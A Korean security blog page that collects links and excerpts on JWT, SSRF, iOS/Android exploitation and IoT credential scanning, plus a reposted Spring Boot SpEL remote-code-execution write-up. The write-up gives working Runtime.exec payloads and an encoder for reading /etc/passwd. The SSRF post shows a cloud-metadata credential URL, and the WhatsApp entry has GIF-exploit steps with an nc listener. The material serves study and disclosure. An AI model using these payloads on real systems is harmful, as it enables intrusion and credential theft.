인증과 토큰 그리고 JWT

2019. 11. 25. 15:20

https://elfinlas.github.io/2018/08/12/whatisjwt-01/

 

JWT(JSON Web Token) 이란?

인증과 토큰 그리고 JWT?최근들어 보안 및 인증을 위해서 JWT를 사용하게 되었다.그래서 사용만 하다가 이번에 JWT에 대한 개념과 구조, 사용법과 문제점 등을 알아보고자 한다. 일반 토큰 기반의 인증과 클레임(Claim) 토큰 기반 인증일반 토큰 기반은 과거에 많이 사용하던 방식이다.주로 의미가 없는 문자열(Random string) 기반으로 구성되어

elfinlas.github.io

https://12bme.tistory.com/130

 

[정보보안] REST JWT(JSON Web Token) 이란?

JWT(JSON Web Token)을 이용한 API 인증 개인 학습 목적으로 원본블로그로부터 그대로 옮긴 포스팅입니다. 원본 출처는 조대협의 블로그 : http://bcho.tistory.com/999, http://bcho.tistory.com/1000 REST API에..

12bme.tistory.com

 

What is JWT?

JWT(Json Web Token)은 위에서 이야기 한 클레임 기반 토큰이며, 이름에서 알 수 있는 것처럼 JSON을 이용한 토큰이고 웹 표준(RFC 7519)를 구현한 것이다.

 

JWT는 헤더(header), 페이로드(payload), 서명(signature) 세 가지로 나눠져 있으며, 아래와 같은 형태로 구성되어 있다.

 

클레임(Claim)이란 사용자 정보나 데이터 속성 등을 의미한다.
그래서 클레임 토큰이라 하면 토큰 안에 저런 정보를 담고 있는 토큰이라 생각하면 된다.
예를 들면 아래와 같이 정보를 담고 있는 것을 클레임 기반이라 할 수 있다.

 

이런 클레임을 기반한 토큰 중 가장 대표적인 것이 바로 JWT다.

 

 

블로그 이미지

wtdsoul

,

https://blog.naver.com/PostView.nhn?blogId=n_cloudplatform&logNo=221638724015&categoryNo=6&parentCategoryNo=0

 

[NBP 기술&경험]SSRF 공격의 피해 사례와 대응 #1

​​안녕하세요, 네이버 클라우드 플랫폼입니다.​이번 포스팅에서는 "SSRF 공격의 피해 사례와 ...

blog.naver.com

https://www.hahwul.com/2017/09/web-hacking-new-attack-vectors-in.html

 

[WEB HACKING] New attack vectors in SSRF(Server-Side Request Forgery) with URL Parser

[WEB HACKING] New attack vectors in SSRF(Server-Side Request Forgery) with URL Parser #SSRF #Hacking #Vulnerability

www.hahwul.com

 

SSRF라는 단어가 생소하신 분들이 많으실텐데요.

 

SSRF 공격이란?

SSRF는 Server-Side Request Forgery의 약자로 Server Side에서 이루어지는 요청을 변조해

해커가 의도한 서버로 요청을 하게 되거나 요청 자체를 변경할 수 있는 공격을 말합니다.

 

SSRF 공격은 아래와 같이 이루어졌습니다!

http://고객사이트.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role

버그바운티나 현업에서 따로 시도를 해봐야겠네..

 

 

 

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

'' 카테고리의 다른 글

XML External Entity (XXE)  (0) 2019.11.28
OAuth 2.0 대표 취약점과 보안 고려사항  (0) 2019.11.25
인증과 토큰 그리고 JWT  (0) 2019.11.25
Spring Boot RCE  (2) 2019.11.21
SQL Injection Payload 경로  (0) 2019.11.21
블로그 이미지

wtdsoul

,

https://hackersonlineclub.com/ios-penetration-testing-frida-and-objection/

 

iOS Penetration Testing- Frida And Objection- Part 3 - HackersOnlineClub

iOS Penetration Testing Part 3 This post is part 3 of a series giving an overview of the most useful iOS app pentesting tools,...

hackersonlineclub.com

 

 

 

 

 

 

'모바일' 카테고리의 다른 글

remote-iphone-exploitation(project zero)  (0) 2020.01.10
iOS Application Injection  (0) 2020.01.02
ARM 어셈블리어  (0) 2019.12.05
The Universal SSL pinning bypass for Android applications  (0) 2019.11.21
iOS 무결성 내용  (0) 2019.11.21
블로그 이미지

wtdsoul

,

https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html?m=1

 

Bad Binder: Android In-The-Wild Exploit

Posted by Maddie Stone, Project Zero Introduction On October 3, 2019, we disclosed issue 1942 (CVE-2019-2215), which is a use-afte...

googleprojectzero.blogspot.com

https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

Issue 1942: Android: Use-After-Free in Binder driver

 

 

1942 - project-zero - Project Zero - Monorail

 

bugs.chromium.org

 

 

블로그 이미지

wtdsoul

,

https://www.e13olf.me/2019/11/i0t-pr0be-iot-device-search-default.html?m=1

 

[root@e13olf]# : i0t-pr0be - IoT Device Search & Default Credential Scanner

A Python 3 script to automate search via Shodan, save IoT device query results and also scan for their respective default credentials. The script utilizes two main APIs; Shodan & Python Selenium. Shodan Shodan membership allows you to get 100 query credits

www.e13olf.me

https://github.com/e13olf/i0t-pr0be

 

e13olf/i0t-pr0be

IoT device search and default credential scanner. Contribute to e13olf/i0t-pr0be development by creating an account on GitHub.

github.com

https://github.com/mozilla/geckodriver/releases

 

mozilla/geckodriver

WebDriver for Firefox. Contribute to mozilla/geckodriver development by creating an account on GitHub.

github.com

 

블로그 이미지

wtdsoul

,

Spring Boot RCE

2019. 11. 21. 18:00

https://deadpool.sh/2017/RCE-Springs/

 

Deadpool's Security Blog

Hi, I'm Tushar. I'm a Musician, Magician & a nerd for Application Security. This blog is about some of the stuff I do

deadpool.sh

id=ab${12*12}cd

${(new%20java.lang.ProcessBuilder(%27calc%27)).start()}

 

https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.md

 

GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

Pre-Built Vulnerable Environments Based on Docker-Compose - GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

github.com

This is my very frist blog post which was pending for a long time (almost a year). I would like to share a particular Remote Code Execution (RCE) in Java Springboot framework. I was highly inspired to look into this vulnerability after I read this article by David Vieira-Kurz, which can be found at his blog. His article talks about an RCE in the Spring Security OAuth framework and how the Whitelabel error page can be used to trigger code execution.

So this meant that any Whitelabel Error Page which reflected user input was vulnerable to it. This was because user input was being treated in as Springs Expression Language (SpEL). So during my pentest I had come across a particualr URL which triggered this Whitelabel Error page.

URL: https://<domain>/BankDetailForm?id=abc${12*12}abc

Error Page: 

My input of abc${12*12}abc was reflected as abc144abc. Then I wanted to perform a simple id and get the result on screen. I proceeded with the following payload:

URI: /BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec('id')}

Payload: ${T(java.lang.Runtime).getRuntime().exec('id')}

Error Page: 

Hmm…..I see nothing. The reflection gave back the input as it is. I double checked David’s blog to see if I was doing anything wrong. I was unsure as to what went wrong. Was the payload incorrect or did I make a mistake with the braces?? Nope. Everything was correct but I was still not getting my desired output. After fiddling around for a few hours I decided to fireup a demo Springs app and try to recreate the same scenario. I tried with a basic {5*5} and got 25 printed beautifully onscreen. Then I tried doing an id and bam!!!, it did not execute. I knew that I had to dig deeper because this was eating me up.

It got me thinking that quotes might have been encoded and might have broken the exec() command. Next thing was to look at the stack trace at the server and see what was wrong.

So after debugging I could see that single & double quotes were URL encoded. The exec() method clearly takes an argument as a string. Now I either need to find characters within the error code and take bits & pieces and pass it to exec using substring(), which is still pretty difficult or I need to find a way to pass my string without using double quotes or single qutoes. I wanted to go with the second approach. Java supports nested functions and if I’m able to find a method which can output id or cat etc/passwd, this would then be passed to exec() and then my payload would run successfully.

After going through some Java classes I stumbled upon the following:

java.lang.Character.toString(105) 
-> prints the characer 'i'

Now I need to concat the letter ‘d’ and I’m golden. Again concat() is a method and i’m going to nest the character.toString inside it as well.

java.lang.Character.toString(105).concat(T(java.lang.Character).toString(100))
-> prints the characters 'id'

Now crafting the final payload, I get the following:

https://<domain>/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(T(java.
lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}

The getRuntime() method returns the runtime object which we got on screen. Now we have some sort of a Blind RCE with which we can run any commands. I wanted to go a step further and get the output on screen (just for fun). At this point I wanted to do a cat etc/passwd and print the result onto the Whitelabel Error page. This meant for every character I would need to write its ASCII equivalent in the format concat(T(java.lang.Character).toString(<ascii value>)). Wrote a quick sloppy python script to acheive this:

Python Script:

#!/usr/bin/env python
from __future__ import print_function
import sys

message = raw_input('Enter message to encode:')

print('Decoded string (in ASCII):\n')
for ch in message:
   print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""), 
print('\n')

Now to get the output of cat etc/passwd in the response, we will use the IOUtils class and call the toString() method. We can pass an input stream to this method and get the contents of the stream as a response.

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).get
Runtime().exec(T(java.lang.Character).toString(99).concat(T(ja
va.lang.Character).toString(97)).concat(T(java.lang.Character).toStri
ng(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.la
ng.Character).toString(47)).concat(T(java.lang.Character).toString(10
1)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.C
haracter).toString(99)).concat(T(java.lang.Character).toString(47)).c
oncat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).
toString(97)).concat(T(java.lang.Character).toString(115)).concat
(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toStrin
g(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

The payload became quite huge. To sum up, I used the Apache IOUtils library. I converted cat etc/passwd into ASCII characters using the character class, passed this value to the exec() method and got the input stream and passed it to the toString() method of IOUtils class. Awesome isnt it. I tried this on the remote box and got the following.

All this hassle just to get around the single and double quotes. However I feel there might have been easier ways to go about it. Tackling out the hurdles and troubleshooting and debugging and finally getting what you want is such a serene feeling. This bug was a learning curve for me and I learned a lot of things alongside exploiting this. If you are using an older version of Spring Boot, I would highly advise you to upgrade it. The vulnerability has been patched since Spring Boot 1.2.8.

블로그 이미지

wtdsoul

,

https://leucosite.com/Edge-Local-File-Disclosure-and-EoP/?fbclid=IwAR2SNjX2wrwNSDx-U3rp-AL8lJSqvWMNWV_cRRYszb3R7KmqQx2t5EhqEeo

 

(CVE-2019-1356) Microsoft Edge - Local File Disclosure and Elevation of Privilege

Microsoft Edge - Local File Disclosure and EoP In this write up, I will be covering multiple bugs in the Edge (EdgeHTML) browser. The combination of these bugs will result in two distinct attacks, one being a local file disclosure and the other is an eleva

leucosite.com

 

In this write up, I will be covering multiple bugs in the Edge (EdgeHTML) browser. The combination of these bugs will result in two distinct attacks, one being a local file disclosure and the other is an elevation of privilege which is used to change any settings within 'about:flags'.

블로그 이미지

wtdsoul

,

https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/?fbclid=IwAR3KP6XpSEQfwVWCsVDI1YigAbd2jGacF4v2U_8CECT5wQkkH0LWALlEJW8

 

PHP Remote Code Execution 0-Day Discovered in Real World CTF Exercise - Wallarm Blog

An unusual PHP script was found during an hCorem Capture the Flag task, revealing millions of everyday users are vulnerable to attack. Learn the deep tech.

lab.wallarm.com

 

We all know that Capture the Flag (CTF) tasks are synthetic. They are designed as games or puzzles for security professionals to solve in order to hone, demonstrate, and add skills.  It’s like merging chess, a maze, and a physically challenging 10K obstacle course, but for security aficionados.

“Computer security represents a challenge to education due to its interdisciplinary nature… Attack-oriented CTF competitions try to distill the essence of many aspects of professional computer security work into a single short exercise that is objectively measurable. The focus areas that CTF competitions tend to measure are vulnerability discovery, exploit creation, toolkit creation, and operational tradecraft.”

Trail of Bits on GitHub

 

블로그 이미지

wtdsoul

,

WhatsApp exploit poc

CVE 2019. 11. 21. 17:29

https://github.com/dorkerdevil/CVE-2019-11932?fbclid=IwAR3IodTITl0MXG58s2mekvTgeTV9-C3slkbxo2VhuQuVaf8zmlRkBYjj6RQ

 

dorkerdevil/CVE-2019-11932

double-free bug in WhatsApp exploit poc. Contribute to dorkerdevil/CVE-2019-11932 development by creating an account on GitHub.

github.com

 

double-free bug in WhatsApp exploit poc.

#Note: make sure to set the listner ip in exploit.c inorder to get shell

nc -lvp 5555 or whatever port.

and then compile.

gcc -o exploit egif_lib.c exploit.c

then run ./exploit and save the content to .gif

and send to victim.

#Source https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/.

#Poc_Video https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view.

I don't own this , if you have issues please contact the owner

'CVE' 카테고리의 다른 글

POODLE Attack  (0) 2020.08.09
CVE-2020-0796-RCE-POC  (0) 2020.07.14
CVE-2019-8805 - A macOS Catalina privilege escalation  (0) 2019.12.10
CVE-2019-2890  (0) 2019.12.10
Android Camera Apps  (0) 2019.11.21
블로그 이미지

wtdsoul

,

https://teamcrak.tistory.com/385

 

포트포워딩을 사용한 모의해킹 내부 침투

얼마전 포스팅 했던 CVE-2013-4011 AIX InfiniBand 취약점을 통해 본 고전해킹글을 보신 어떤 분께서 아래와 같은 질문을 하셨습니다. "A3는 모의해킹 시, 내부 침투를 위해 어떤 방법을 사용합니까?" 해당 포스팅..

teamcrak.tistory.com

 

 

 

 

 

 

블로그 이미지

wtdsoul

,